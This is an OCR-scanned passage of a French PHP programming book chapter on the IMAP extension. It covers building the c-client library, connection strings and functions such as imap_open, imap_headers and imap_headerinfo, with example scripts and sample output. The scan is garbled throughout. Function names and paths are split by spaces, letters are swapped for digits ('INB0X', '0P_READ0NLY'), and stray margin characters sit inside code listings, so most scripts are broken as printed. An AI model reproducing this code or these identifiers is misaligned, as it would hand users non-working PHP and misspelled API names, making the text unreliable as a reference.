Vous devez, dans un premier temps, recuperer la bibliotheque cliente imap (c-client.tar.Z) sur 
le site ftp://ftp.cac.washington.edu/irnap/ (egalement disponible sur le CD-ROM fourni). 

Vous pouvez la copier dans un repertoire quelconque (par exemple, /usr/local/src/lib) , puis 
decompressez l'archive avec : 

# uncompress c-client.tar.Z 

# tar xvf c-client.tar 

Puis compilez-la : 

# cd imap-2001a 

# make six 

Autres systemes Sexploitation 

Vous aurez peut-etre a choisir une autre option si vous souhaitez adapter cette 
procedure d'installation pour un autre systeme d' exploitation (les options sont 
decrites dans le fichier Makefile). 

Vous devez avoir ainsi genere un ensemble de fichiers sous le repertoire c-client. Certains de ces 
fichiers doivent alors etre copies dans des repertoires accessibles lors de la compilation de PHP. 

# cp c-cl i ent/c-cl ient .a /usr/1 ocal/1 i b/. 
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et 

# cp c-client/rfc822.h /usr/local/include/. 

# cp c-cl i ent/mai 1 . h /usr/local/include/. 

# cp c-cl ient/1 inkage.h /usr/local/include/. 

Une fois cette operation realisee, vous pouvez recompiler PHP avec l'option — with-imap. 




Vous pouvez vous reporter au chapitre "Prise en main" pour plus de details sur la 
compilation de PHP. 



RENVOI 

Verification 

Vous pouvez verifier que votre environnement PHP integre bien le support cFimap en appelant 
un simple script contenant <?php phpinf o ( ) ?> qui devra afficher : 



imap 



IMAP Support 


enabled 


IMAP c-Client Version 


4.1 



Figure 12.2 : phpinfoQ 



Connexion et deconnexion a un serveur 

Pour pouvoir interroger un compte, il faut commencer par se connecter a celui-ci. Pour cela, 
vous devez prealablement reunir quelques informations. 

II faut connaitre : 

■ L'adresse du serveur de mail (adresse IP ou nom complet) ; 

Le port du service (generalement 110 pour POP3, 143 pour IMAP et 119 pour NNTP) ; 

■ Le login d'acces (celui qui sert a acceder au compte habituellement) ; 
Le mot de passe associe au login precedent. 

Dans nos exemples, la connexion se fera sur mail.monsite.com avec le login monlogin et le mot 

de passe monpassword. 

Pour les operations de connexion, les boites a lettres sont representees par une chaine de 
caracteres ayant le format : {<serveur>:<port>/<type>}<boite>. 

Autrement dit, elle se compose de deux parties : 

Une partie entre accolades indiquant le serveur. On y retrouve, l'adresse IP ou le nom du 
serveur, puis le numero du port precede de : . Puis enfin le type de serveur (IMAP par 
defaut) en ajoutant / imap, /pop ou /nntp. Dans le cas d'un serveur securise, il faut ajouter 
/ssi apres le type de serveur et, si le serveur est securise avec un certificat, il faut ajouter 

/ssl/novalidate-cert. 

Puis le nom de la boite a lettres a ouvrir (INBOX par defaut). 
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Nom de boite et caracteres speciaux 

^ Si le nom de la boite a lettres doit contenir des caracteres internationaux peu courants, 

alors il doit etre encode avec la fonction imap_utf7_encode() avant d'etre utilise 
comme reference ou decode avec imap_utf7_decode ( ) lorsqu'il est lu. 



imap_open() 



Permet d'ouvrir une connexion sur un serveur IMAP, POP3 ou NNTP. 
Syntaxe 



$bal 

$1 ogi n 

$motDePasse 

$mode 



retour 



resource imap_open (stri ng $bal , string $login, string 
$motDePasse [, int $mode] ) 

Identifiant de la boite a lettres au format 

{<serveur> : <port>/<type>}<boite>. 

Login de connexion. 

Mot de passe correspondant au login. 

Une combinaison par OU logique des valeurs. 

OP_ANONYMOUS : n'utilise pas de . newsrc (uniquement pour NNTP). 
OP_HALFOPEN : permet d'ouvrir une connexion sans selectionner de 
boite (uniquement pour IMAP et NNTP). 
P_READONL Y : permet d'ouvrir une boite en lecture seule. 
CL_EXPUNGE : efface automatiquement les messages marques comme 
etant a effacer de la boite lors de la fermeture. 

Un identifiant, ou FALSE si la connexion n'a pas pu se faire. 



Voici quelques exemples : 

Pour ouvrir la boite a lettres INBOX d'un serveur IMAP sur le port 143 situe sur la machine 
courante : 

imap_open("{localhost:143}INB0X", "monl ogi n" , "mon password") 

Pour ouvrir la boite a lettres OUTBOX en lecture seule d'un serveur POP3 sur le port 110 situe 
sur la machine mail.monsite.com : 

imap_open("{mail .monsite.com:110/pop3}0UTB0X", "monlogin", "mon password", 
"0P_READ0NLY") 

Pour ouvrir le groupe comp. lang.php du serveur de news NNTP sur le port 119 situe sur la 
machine news.monfai.com : 



3 * 



_ 3 

ft) — — CD 

— . CD GO 

m O « 

P" CD 

~ <= 

CD CD 

CD 



imap_open("{news.monfai . com :119/nntp} comp. lang.php", "", "") 
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imap_close() 

Permet de fermer une connexion a un serveur POP3, IMAP ou NNTP. 

Syntaxe boolean imap_close(resource $identifiantBal [, int $mode]) 

$i denti f i antBal Identifiant tel que retourne par imap_open ( ) . 
$mode Le seul mode disponible est : 

CL_EXPUNGE qui fait effacer tous les messages marques comme etant a 
effacer de la boite a lettres en quittant. 

retour TRUE si l'operation s'est bien effectuee, FALSE dans le cas contraire. 

Un script de base de connexion et de deconnexion a done l'allure suivante : 

■■ „ Listing 12.9 : imap l.php 

.£ -5 

£, £ <html> 

5 o <headxtitle>Exemple IMAP</titlex/head> 

S — '!5 <body> 
E cu ^ <?php 

3 o $bal= imap_open("{mail .monsite.com:110/pop3}", 

e\i §= "monlogin", 

"monpassword") ; 

if (!$bal) die("La connexion a echouee"); 

imap_cl ose($bal ) ; 

?> 

</body> 
</html> 

II est egalement possible a tout instant de verifier la validite d'une connexion. 



imap_ping() 

Verifie que la connexion IMAP est toujours active. 

Syntaxe boolean imap_ping(resource $identifiantBal) 

$i denti f i antBal Identifiant tel que retourne par imap_open ( ) . 
retour TRUE si la connexion est toujours active. 

Une fois que vous etes connecte, de nombreuses possibilites s'offrent a vous. Cela va de la 
recuperation de la liste des boites a lettres a leur administration, en passant par la lecture de 
leur contenu. 
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Selection d'une boite a lettres 

Si vous vous etes connecte a un serveur sans ouvrir de boite a lettres (mode op_halfopen) ou, tout 
simplement, si vous souhaitez acceder a une autre boite a lettres, vous disposez de la fonction : 



imap_reopen() 

Ouvre une nouvelle connexion IMAP vers une nouvelle boite a lettres. 

Syntaxe boolean imap_reopen(resource $i denti f i antBal , string $bal [, 

i nt $mode] ) 

$i denti f i antBal Identifiant tel que retourne par imap_open ( ) . 

$ b a 1 Nouvelle boite a lettres a ouvrir. 

$mode Une combinaison par OU logique des valeurs. 

OP_ANONYMOUS : n'utilise pas de . newsrc (uniquement pour NNTP). 
OP_HALFOPEN : permet d'ouvrir une connexion sans selectionner de 
boite (uniquement pour IMAP et NNTP). 
OP_READONLY : permet d'ouvrir une boite en lecture seule. 
CL_EXPUNGE : efface automatiquement les messages marques comme 
etant a effacer de la boite lors de la fermeture. 

retour Un identifiant, ou FALSE si la connexion n'a pas pu se faire. 

Pour vous aider a faire votre choix, vous aurez peut-etre besoin de connaitre la liste des boites 
disponibles. Vous disposez pour cela de plusieurs fonctions. 



imap_listMailbox () 



Retourne la liste des boites a lettres. 
Syntaxe 



$identifiantBal 

$serveur 

$position 

retour 



array imap_l i stMai 1 box(resource $identifiantBal , string 
$serveur, string $position) 

Identifiant tel que retourne par imap_open ( ) . 

Serveur au format {<serveur> : <port>/<type> } . 

Position hierarchique de la premiere boite a etudier. Vous pouvez utiliser 
le caractere * pour tout etudier ou % pour toutes les boites du niveau 
selectionne (ex : comp . lang . %). 

Tableau indexe des noms complets des boites a lettres. 



Voici un script d'exemple 
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Listing 12.10 : imapjistmailbox.php 

<?php 

$bal = imap_open(" {mai 1 .monsite.com: 143/imap} " , "monl ogi n" , "monpas sword") ; 
$tableau = imap_l i stmai 1 box($bal , "{mail.monsite.com}", "*"); 
while (list($cle, $valeur) = each($tableau)) { 
echo "$cle:"; 

echo imap_utf7_decode($valeur) ."<br />\n"; 

} 

imap_close($bal ) ; 

?> 

Et un resultat possible : 

0:{mail .monsite.com}INBOX. Sent. mai -2002 
l:{mail .monsite.com}INBOX. Trash 
2: {mail .monsite.com}INBOX.Sent 
3: {mail .monsite.com}INBOX. Drafts 
4:{mail .monsite.com}INBOX 

Mais peut-etre voudrez vous restreindre votre recherche. 



imap_scanmailbox () 

Recherche une chaine de caracteres dans les differentes boites a lettres et retourne les noms de 
celles-ci. 

Syntaxe array imap_scanmai 1 box(resource $identifiantBal , string 

$serveur, string $position, string $chai neARechercher) 

$i denti f i antBal Identifiant tel que retourne par imap_open ( ) . 

$serveur Serveur au format {<serveur> : <port>/<type> } . 

$pos i t i on Position hierarchique de la premiere boite a etudier. Vous pouvez utiliser 

le caractere * pour tout etudier ou % pour toutes les boites du niveau 
selectionne (ex. : comp . lang . %). 

$chai neARechercher Chaine de caracteres a rechercher dans les differentes boites a lettres. 

retour Un tableau des differentes boites a lettres. 

Si, en revanche, vous souhaitez en savoir un peu plus sur les boites a lettres, en theorie vous 
disposez de imap_getMailboxes ( ) (ne nous sommes toutefois pas parvenus a obtenir le 
resultat escompte). 



imap_getMailboxes () 

Retourne la liste des boites a lettres, en precisant si elles possedent des boites "filles" ou non, 
ainsi que le delimiteur hierarchique. 
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array imap_getMai 1 boxes (resource $i denti f i antBal , string 
$serveur, string $position) 

Identifiant tel que retourne par imap_open ( ) . 

Serveur au format {<serveur> : <port>/<type> } . 

Position hierarchique de la premiere boite a etudier. Vous pouvez utiliser 
le caractere * pour tout etudier ou % pour toutes les boites du niveau 
selectionne (ex. : comp . lang . %). 

Tableau indexe d'objets possedant les attributs : 

"name": nom complet de la boite aux lettres. 

"delimiter" : delimiteur hierarchique (i.e. caractere a utiliser pour 
acceder a une boite fille. II s'agit generalement du point 
boitemere .boitef ille). 

"attributes " : peut prendre les valeurs LATT_NO INFERIORS s'iln'y a 
pas de boite a lettres en dessous de celle-ci, LATT_NOSELECT si celle-ci 
n'est qu'un conteneur, LATT_MARKED si elle est marquee, 
LATT_UNMARKED si elle n'est pas marquee. 

Voici un exemple de script : 

Listing 12.11 : imap getmailboxes.php 

<?php 

$bal = imap_open(" {mai 1 .monsite.com: 143/i map} " , "monl ogi n" , "monpassword") ; 
$tableau = imap_getMai 1 boxes ($bal , "{mail.monsite.com}", "*"); 
while (list($cle, $valeur) = each($tableau)) { 
echo "$cle:"; 

echo imap_utf7_decode($valeur->name) 
echo .$val eur->del imi ter. " ' , " ; 
echo $val eur->attri butes . "<br>\n" ; 

} 

imap_cl ose($bal ) ; 

?> 

dont un des resultat pourrait etre : 

0:{mail .inonsite.com}INBOX. Sent. mai -2002, ' . ' ,0 
l:{mail . monsite.com}INBOX. Trash, ' . 1 ,0 
2:{mail .monsite.com}INB0X.Sent, 1 . ' ,0 
3:{mail .monsite.com}INB0X. Drafts, ' . ' ,0 
4:{mail .monsite.com}INB0X, ' . ' ,4 

Si vous souhaitez limiter la liste aux boites ou (plus probablement) aux news auxquelles vous 
avez souscrit, alors vous disposez des fonctions imap_listsubscribed( ) et 
imap_getSubscribed ( ) . 



Syntaxe 

$identifiantBal 

$serveur 

$position 

retour 
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imap_listSubscribed () 



Recupere les boites auxquelles l'utilisateur a souscrit. L'utilisation est en tous points identique 

a imap_listMailboxes ( ) . 

Syntaxe array imap_l i stSubscri bed (resource $i denti f i antBal , string 

$serveur, string $position) 

$i denti f i antBal Identifiant tel que retourne par imap_open ( ) . 

$serveur Serveur au format {<serveur>:<port>/<type>}. 

$pos i t i on Position hierarchique de la premiere boite a etudier. Vous pouvez utiliser 

le caractere * pour tout etudier ou % pour toutes les boites du niveau 
selectionne (ex. : comp . lang . %). 

retour Tableau indexe des noms complets des boites. 

Si, en revanche, vous souhaitez en savoir un peu plus sur les boites a lettres... 



imap_getSubscribed () 



Recupere les boites auxquelles l'utilisateur a souscrit. L'utilisation est en tous points identique 

a imap__getMailboxes ( ) . 

Syntaxe array imap_getSubscribed(resource $i denti fi antBal , string 

$serveur, string $position) 

$i denti fi antBal Identifiant tel que retourne par imap_open ( ) . 

$serveur Serveur au format {<serveur> : <port>/<type> } . 

$pos i t i on Position hierarchique de la premiere boite a etudier. Vous pouvez utiliser 

le caractere * pour tout etudier ou % pour toutes les boites du niveau 
selectionne (ex. : comp . lang . %). 

retour Tableau indexe d'objets possedant les attributs : 

"name" : nom complet de la boite a lettres. 

"delimiter" : delimiteur hierarchique (i.e. caractere a utiliser pour 
acceder a une boite fille. II s'agit generalement du point 
boitemere . boitef ille). 

"attributes " : peut prendre les valeurs LATT_NOINFERIORS s'iln'y a 
pas de boite a lettres en dessous de celle-ci, LATT_NO SELECT si celle-ci 
n'est qu'un conteneur, LATT_MARKED si elle est marquee, 
LATT_TJNMARKED si elle n'est pas marquee. 
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Aper^u du contenu de la boite a lettres 



imap_check() 

Retour des informations sur la boite a lettres courante. 

Syntaxe object imap_check(resource $identifiantBal) 

$i denti f i antBal Identifiant tel que retourne par imap_open ( ) . 

retour Objet contenant les attributs suivants : 

"Date" : Date du serveur. 

"Driver" : Protocole utilise pour acceder a la boite e-mail. POP3, IMAP 
ouNNTP. 

"Mailbox" : Nom complet de la boite de courrier electronique. 

"Nmsgs" : Nombre de messages dans la boite. 

"Recent" : Nombre de messages marques 'recent' dans la boite. 

Listing 12.12 : imap check.php 

<?php 

$bal = imap_open("{mail .monsite.com:143/imap}INB0X", 

"monlogin", "monpassword") ; 
$objet = imap_check($bal ) ; 
echo $objet->Date. "<br />\n"; 
echo $objet->Dri ver. "<br />\n"; 
echo $objet->Mai 1 box. "<br />\n"; 
echo $objet->Nmsgs. "<br />\n"; 
echo $objet->Recent. "<br />\n"; 
imap_close($bal ) ; 

?> 

dont voici un exemple de resultat : 

Mon, 17 Jun 2002 21:18:06 -0400 (Est (heure d'ete)) 
imap 

{ns0.unsite.net:143/imap/user="monlogin "}INB0X 

11 



II est toutefois possible d'en savoir un peu plus, comme le demontre la fonction suivante. 



imap_mailboxMsgInfo () 

Retourne des informations sur la boite a lettres courante. 
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Syntaxe object imapjnai 1 boxmsgi nfo (resource $identifiantBal) 

$identi f i antBal Identifiant retourne par imap_open ( ) . 

re tour Un objet contenant les attributs : 

"Date" : Date du dernier changement. 
"Driver" : Driver. 

"Mailbox" : Nom complet de la boite aux lettres. 
"Nmsgs" : Nombre de messages. 
"Recent" : Nombre de messages marques Recent. 
"Unread" : Nombre de messages marques Unread (non lus). 
"Deleted" : Nombre de messages marques Deleted (effaces). 
"Size" : Taille de la boite aux lettres. 



Voici un script d'exemple : 



Listing 12.13 : imapmailboxmsginfo.php 

<?php 

g $bal = imap_open("{mail .monsite.com: 143/imap} " , 

£ eu "monlogin", "monpassword") ; 

$objet = imap_mai 1 boxmsgi nfo($bal ) ; 
jjl ~ echo "Date: " . $objet->Date ."<br />\n" ; 

j= — E echo "Driver: " . $objet->Driver . "<br />\n" ; 

co ™ echo "Mailbox: " . $objet->Mai 1 box ."<br />\n" 

echo "Messages: ". $objet->Nmsgs ."<br />\n" ; 
■<- " echo "Recent: " . $objet->Recent . "<br />\n" ; 

echo "Unread: " . $objet->Unread ."<br />\n" ; 
echo "Deleted: " . $objet->Del eted ."<br />\n" 
echo "Size: " . $objet->Size ."<br />\n" ; 
imap_close($bal ) ; 
?> 



co „ 
mo™ 
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dont le resultat serait par exemple : 

Date: Wed, 19 Jun 2002 20:45:04 -0400 (Est (heure d'ete)) 
Driver: imap 

Mai 1 box: {ns0.inonsite.net:143/imap/user="monlogin"}INB0X 

Messages: 3 

Recent: 

Unread: 3 

Deleted: 

Size: 1832 



Vous disposez egalement de deux fonctions recuperant specifiquement le nombre de messages 
et le nombre de messages recents. 



imap_num_msg() 

Renvoie le nombre de messages de la boite a lettres courante. 
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Syntaxe int imap_num_msg (resource $identifiantBal) 

$i denti f i antBal Identifiant tel que retourne par imap_open ( ) . 
retour Nombre de messages. 



imap_num_recent () 

Renvoie le nombre de messages marques "Recent" de la boite a lettres courante. 

Syntaxe int imap_num_recent(resource $i denti fi antBal ) 

$i denti fi antBal Identifiant tel que retourne par imap_open ( ) . 
retour Nombre de messages marques "Recent". 

Mais il est egalement possible de profiter de la connexion ouverte sur le serveur pour glaner 
quelques informations sur d'autres boites a lettres. 



imap_status() 

Cette fonction retourne des informations sur une boite a lettres differente de la courante. 

Syntaxe object imap_status (resource $identifiantBal , string $bal , int 

$options) 

$i denti f i antBal Identifiant tel que retourne par imap_open ( ) . 

$bal Boite a lettres sur laquelle vous souhaitez des informations. 

$options Combinaison par OU logique des valeurs suivantes permettant de 

determiner quelles informations doivent etre retournees (sous forme 
d'attributs d'un objet) : 

SA_MES SAGES (=1) pour stacker le nombre de messages dans l'attribut 
"message". 

SA_RECENT (=2) pour stocker le nombre de messages recents dans 
l'attribut "recent" 

SA_UNSEEN (=4) pour stocker le nombre de messages non lus dans 
l'attribut "unseen" 

SA_UIDNEXT (=8) pour stocker le prochain UID qui sera utilise pour la 
boite a lettres dans l'attribut "uidnext". 

SA_UIDVALIDITY (= 16) pour stocker dans l'attribut "uidvalidity" 
une chaine de caracteres qui change quand la boite a lettres peut ne plus 
etre valide. 

dSA_ALL (= 31) pour attribuer toutes les valeurs precedentes. 
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retour Un objet avec les attributs demandes ainsi que l'attribut "flags" 

contenant lavaleur de $ opt ions. 



Lecture des en-tetes 

II est fort heureusement possible de recuperer la liste des en-tetes des messages contenus dans 
une boite via la fonction imap_headers ( ) . 



imap_headers() 

Permet de retourner les resumes d'en-tetes de tous les messages d'une boite a lettres. 

Syntaxe array imap_headers (resource $identifiantBal ) 

$i denti f i antBal Identifiant tel que retourne par imap_open ( ) . 

retour Tableau associatif contenant tous les en-tetes (une simple chaine resumee 

par message). Un tableau vide s'il n'y a pas de message. 

Ce qui nous permet d'ecrire un script qui commence a etre interessant : 

Listing 12.14 : imap_2.php 

<html> 

<headxti tl e>Exempl e IMAP</ti tl ex/head> 
<body> 

<pxhl>Entetes de mail dans INB0X</hl> 
<?php 

$mbox = imap_open("{mail .monsite.com:110/pop3}", "monlogin", "monpassword") ; 
$headers = imap_headers ($mbox) ; 
if (!$headers) { 

echo "Erreur !\n"; 
} else { 

while (1 ist($key,$val ) = each($headers)) { 
echo $val . "<br>\n" ; 

} 

} 

imap_close($mbox) ; 

?> 

</body> 
</html> 

dont le resultat pourrait etre le suivant : 
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H Example IMAP - Microsoft Internet Exp lor t 



Fithier Edition Affkhage Favoris Outils 



Q Precedents - Q [^] f>J) J. ' Recherch. 

Adresse http://lc.calho5tyBiblePHPscripts/chapl l/cll-imap2.php 



Entetes de mail dans INBOX 



N 1) 6-Nov-2001 wcbmastcr@toutcstfac Test IMAP (586 chars) 

N 2) 6-Hov-2001 Jean de la Marquise Test (1903 chars) 

N 3)18-Dec-2001 fatima ikrri (1742 chars) 

N4)18-Jan-2002 Men Lafont blu (1685 chars) 

N 5)26-Jan-2002 Damien intra pour tout (1001 chars) 

i M|j I I 1 I 

N 7) 10-May-2002 Nvstracloc test wcbmail (1131 chars) 



Figure 12.3 : 

Lister des messages 



II est egalement possible d'avoir quelques informations supplementaires sur l'ensemble ou un 
sous-ensemble de messages. 



imap_fetch_overview() 



Donne un apergu de l'en-tete d'un des messages 
Syntaxe 



$identifiantBal 
$1 isteMsg 



$mode 
retour 



array imap_fetch_overview(resource $identifiantBal , string 
$sequence [, int $mode]) 

Identifiant tel que retourne par imap_open ( ) . 

Liste des numeros (ou UID) ou intervalles de numeros (ou UID) de 
messages separes par une virgule (le premier porte l'indice 1). Les 
intervalles sont definis par le numero de debut, le caractere : et le numero 
de fin. 

FT_UID si le numero du message est son UID. 

Un tableau indexe d'objets contenant les attributs suivants : 
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"subject" : le sujet du message. 

"from" : l'auteur du message. 

"date" : la date de l'envoi du message. 

"message_id" : l'identifiant du message. 

"references" : reference a l'identifiant. 

"size" : taille du mail en octets. 

"uid" : UID du message dans la boite aux lettres. 

"msgno" : numero du message dans la boite. 

"recent" : indique si le message est marque recent. 

"flagged" : indique si le message est marque. 

"answered" : indique si le message a ete repondu. 
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"deleted" : indique si le message est marque comme etant a effacer. 

"seen" : indique si le message a ete marque lu. 

"draft" : Indique si le message a ete marque comme brouillon. 

Voici un petit exemple : 

Listing 12.15 : imapjetchoverview.php 

<?php 

$bal = imap_open("{mail .monsite.com: 143/imap} INBOX" , 

"monlogin", "monpassword") ; 
$tableau = imap_fetch_overview($bal , "1,3"); 
foreach ($tableau as $element) { 

echo $el ement->from. "<br />\n"; 

echo $el ement->date. "<br />\n"; 

} 

imap_close($bal) ; 

?> 



CD 03 

S u = Et son resultat pourrait etre : 
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E o E Damien 

Sat, 26 Jan 2002 00:19:48 +0100 
Thomas HEUTE 

Tue, 18 Jun 2002 17:49:08 -0400 

II est toutefois possible d'avoir une connaissance plus detaillee des en-tetes grace, en 
particulier, aux fonctions imap_f etchHeader ( ) et imap_headerlnf o ( ) . 



imap_fetchHeader () 

Retourne l'en-tete d'un message. 

Syntaxe string imap_fetchHeader (resource $identifiantBal , int 

$numeroMsg [, int $mode]) 

$identi f i antBal Identifiant retourne par imap_open ( ) . 

$numeroMsg Indice du message a ouvrir (le premier porte l'indice 1). 

$mode Combinaison par OU logique des options : 

FTJJID indiquant que le numero du message precise est son UID. 
FTJNTERNAL pour retourner l'en-tete dans le format 'interne'. 

FT_PREFETCHTEXT. 

retour L'en-tete du message desire. 

Afin d'en simplifier 1'analyse, vous disposez d'une fonction transformant cette chaine de 
caracteres en un objet ou chaque attribut est un element de l'en-tete. 
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imap_rfc82 2_parse_headers () 

Permet d'extraire des informations d'un en-tete 
Syntaxe 



object imap_rfc822_parse_headers (stri ng $entete [, string 
$hoteDefaut]) 

$entete L'en-tete d'un courrier electronique tel que retourne par 

imap_f etchHeader ( ) . 

$hoteDef aut Le nom de domaine par defaut. 

retour Un objet contenant de nombreux attributs (dont la liste est ci-apres) 

correspondant aux differents champs que vous pouvez rencontrer dans 
l'en-tete du message. 

remail: redirection automatique de mails, 
date, Date : date du message, 
subject, Subject : sujet du message. 
in_reply_to : adresse a laquelle le message repond. 
message_id : identifiant du message. 

newsgroups. 

foliowup_to : adresse de suivi du message, 
references. 

toaddress : ligne d'en-tete de 'to:' limitee a 1024 caracteres. 
to [ ] : tableau de toutes les adresses de 'to : ' sous forme d'objet. 
to [ ] ->personai : nom de la personne. 
to [ ] ->adl : at domain source route (???). 
to [ ] ->mailbox : partie precedant 
to[]->host : partie suivant 

fromaddress : ligne d'en-tete de 'from:' limitee a 1024 caracteres. 
from[ ] : tableau de toutes les adresses de 'from: ' sous forme d'objet. 
from[ ] ->personai : nom de la personne. 
from[ ] ->adl : at domain source route. 
from[]->mailbox : partie precedant '@'. 
from[ ] ->host: partie suivant . 

ccaddress : ligne d'en-tete de 'cc:' limitee a 1024 caracteres. 
cc [ ] : tableau de toutes les adresses de 'cc : ' sous forme d'objet. 
cc [ ] ->personai : nom de la personne. 
cc [ ] ->adi : at domain source route, 
cc [ ] ->mailbox : partie precedant '@'. 
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cc[]->host : partie suivant '@'. 

bccaddress : ligne d'en-tete de 'bcc:' limitee a 1024 caracteres. 
bcc [ ] : tableau de toutes les adresses de 'bcc : ' sous forme d'objet. 
bcc [ ] ->personal : nom de la personne. 
bcc [ ] ->adl: at domain source route. 

■ bcc [ ] ->mailbox : partie precedant '@'. 
bcc [ ] ->host : partie suivant 

repiy_toaddress : ligne d'en-tete de 'Repiy_to : ' limitee a 1024 caracteres. 
repiy_to [ ] : tableau de toutes les adresses de 'Reply_to : ' sous forme d'objet. 
repiy_to [ ] ->personai : nom de la personne. 

■ reply_to [ ] ->adl : at domain source route. 
repiy_to [ ] ->mailbox : partie precedant '@'. 

■ repiy_to [ ] ->host : partie suivant '@'. 

senderaddress : ligne d'en-tete de 'sender:' limitee a 1024 caracteres. 
sender [ ] : tableau de toutes les adresses de 'sender : ' sous forme d'objet. 

■ sender [ ] ->personal : nom de la personne. 
sender [ ] ->adi : at domain source route, 
sender [] ->maiibox : partie precedant '@'. 
sender [] ->host : partie suivant '§'. 

return_path [ ] : tableau de toutes les adresses de 'Return-path:' sous forme d'objet. 
return_path [ ] ->personal : nom de la personne. 
return_path [ ] ->adi : at domain source route. 

■ return_path [ ] ->mailbox : partie precedant '@'. 
return_path [ ] ->host : partie suivant '©'. 

Vous pouvez toutefois vous dispenser de faire deux operations tout en recuperant plus 
d'informations (on se demande bien comment c'est possible). 



imap_headerInfo() 

Permet de lire l'en-tete d'un message. 

Syntaxe object imap_headerInfo (resource $identifiantBal , int 

$numeroMesg [, int $tailleFrom [, int $tai 1 1 eSubject [, string 
hoteDefaut]]]) 

$identifiantBal Identifiant tel que retourne par imap_open ( ) . 
$numeroMesg Position du message a ouvrir (le premier porte l'indice 1). 
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$tai 1 1 eFrom Taille maximale de la chaine de caracteres From. 

$tai 1 1 eSubject Taille maximale de la chaine de caracteres Subj ect. 
$hoteDefaut Hote par defaut. 

retour Un objet contenant de nombreux attributs (dont la liste est ci-apres) 

correspondant aux differents champs que vous pouvez rencontrer dans 
l'en-tete du message. 

imap_headerinf o ( ) possede un alias appele imap_header ( ) (a eviter a cause du risque de 
confusion avec imap_headers ( ) ). 

En voici quelques-unes recuperees du courrier electronique suivant : 

Return- Path : <webmaster@toutestf aci 1 e . com> 
Del i vered-To : copi ecacheebcc@toutestf aci 1 e . com 

Received: (qmail 15229 invoked by uid 503); 17 Jun 2002 02:05:14 -0000 
Received: from unknown (HEL0 thomas) (138.88.143.137) 

by ns0.ovh.net with SMTP; 17 Jun 2002 02:05:14 -0000 
Date: Sun, 16 Jun 2002 22:04:14 -0400 n ^ 

From: ToutEstFacile <webmaster@toutestfacile.com> < J— 

X-Mailer: The Bat! (vl.60m) UNREG / CD5BF9353B3B7091 ~ M 

Reply-To: ToutEstFacile <webniaster@toutestfacile.com> ^ H ro 

Organization: ToutEstFacile ^ o " 

X-Priority: 3 (Normal) 5 <= 

Message-ID: <10913313113.20020616220414@toutestfacile.com> ™ =. 

To: imap@toutestfacile.com, copie@toutestfacile.com ™ .. 

CC: copieCC@toutestfacile.com 
Subject: Ceci est le sujet du mail 
MIME-Version: 1.0 

Content-Type: text/plain; charset=us-asci i 
Content-Transfer-Encoding: 7bit 

Hello imap, 

Ceci est le corps de mon message 

Best regards, 
Thomas. 

Le code source du script charge de recuperer les informations est le suivant : 

Listing 12.16 : imap_5.php 

<html> 

<headxti tl e>Exempl e IMA P</ti tl ex/head> 

<body> 

<?php 

$mbox = imap_open (" {mai 1 .toutestfacile.com:110/pop3}", 

"imap@toutestfaci 1 e.com" , "pi po") ; 
$header = imap_headerinfo($mbox, 8); 
echo "message_id : " .$header->message_id. "<br />\n"; 
echo "Date: " .$header->Date. "<br />\n"; 
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echo "date: " .$header->date. "<br />\n"; 

echo "Subject: " .$header->Subject. "<br />\n"; 

echo "subject: " .$header->subject. "<br />\n"; 

echo "Recent :" .$header->Recent . "<br />\n"; 

echo "Unseen :" .$header->Unseen. "<br />\n"; 

echo "Answered: " .$header->Answered. "<br />\n"; 

echo "Del eted: " .$header->Del eted. "<br />\n"; 

echo "Fl agged: " . $header->Fl agged. "<br />\n"; 

echo "toaddress : " .$header->toaddress . "<br />\n"; 

echo "to[0] ->mai 1 box: " .$header->to[0] ->mai 1 box. "<br />\n" ; 

echo "to[0] ->host : " .$header->to[0] ->host . "<br />\n"; 

echo "to[l] ->mai 1 box: " .$header->to[l] ->mai 1 box. "<br />\n" ; 

echo "to[l] ->host : " .$header->to[l] ->host . "<br />\n"; 

echo "fromaddress : " .$header->f romaddress . "<br />\n"; 

echo "from[0] ->personal : " .$header->from[0] ->personal ."<br />\n"; 

echo "from[0] ->mai 1 box: " .$header->from[0] ->mai 1 box. "<br />\n" ; 

echo "from[0] ->host: " .$header->from[0] ->host. "<br />\n"; 

echo "ccaddress : " .$header->ccaddress . "<br />\n"; 

echo "cc [0] ->mai 1 box: " .$header->cc[0] ->mai 1 box. "<br />\n"; 

echo "cc [0] ->host : " .$header->cc [0] ->host . "<br />\n"; 

echo "reply_toaddress : " .$header->reply_toaddress . "<br />\n" ; 

echo "reply_to[0] ->personal : " .$header->reply_to[0] ->personal . "<br 

echo "reply_to[0] ->mai 1 box: " .$header->reply_to[0] ->mai 1 box. "<br / 

echo "reply_to[0] ->host: " .$header->reply_to[0] ->host. "<br />\n"; 

echo "senderaddress: " .$header->senderaddress . "<br />\n"; 

echo "sender[0] ->personal : " .$header->sender[0] ->personal . "<br />\ 

echo "sender[0] ->mai 1 box: " .$header->sender[0] ->mai 1 box. "<br />\n" 

echo "sender[0] ->host: " .$header->sender[0] ->host. "<br />\n" ; 

echo "udate: " .$header->udate. "<br />\n"; 

imap_close($mbox) ; 

?> 

</body> 
</html> 

Le resultat obtenu est le suivant : 

message_id:<10913313113.20020616220414<atoutestfacile.com> 

Date: Sun, 16 Jun 2002 22:04:14 -0400 

date:Sun, 16 Jun 2002 22:04:14 -0400 

Subject :Ceci est le sujet du mail 

subject :Ceci est le sujet du mail 

Recent :N 

Unseen: 

Answered: 

Deleted: 

Flagged: 

toaddress : imap@toutestf aci 1 e . com, copi e@toutestf aci 1 e . com 

to [0] ->mai 1 box : i map 

to [0] ->host : toutestf aci 1 e . com 

to[l] ->mail box: copi e 

to[l] ->host: toutestf aci le.com 

fromaddress :ToutEstFaci 1 e 
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from[0] ->personal :ToutEstFacile 
from [0] ->mai 1 box : webmaster 
from [0] ->host : toutestf aci 1 e . com 
ccaddress : copi eCC@toutestf aci 1 e . com 
cc [0] ->mai 1 box : copi eCC 
cc [0] ->host : toutestf aci 1 e . com 
reply_toaddress:ToutEstFaci le 
repl y_to [0] ->personal : ToutEst Faci 1 e 
reply_to[0] ->mail box: webmaster 
repl y_to [0] ->host : toutestf aci 1 e . com 
senderaddress : Tout Est Faci 1 e 
sender [0] ->personal :ToutEstFaci 1 e 
sender [0] ->mai 1 box: webmaster 
sender [0] ->host : toutestf aci 1 e . com 
udate: 1024279454 

Outre celles vues dans 1'exemple, d'autres informations peuvent etre disponibles. En void une 
liste complete : 

r email : redirection automatique de mails. 

■ date, Date : date du message, 
udate : date au format UNIX, 
subject, Subject : sujet du message. 

■ in_reply_to : adresse a laquelle le message repond. 
message_id : identifiant du message. 

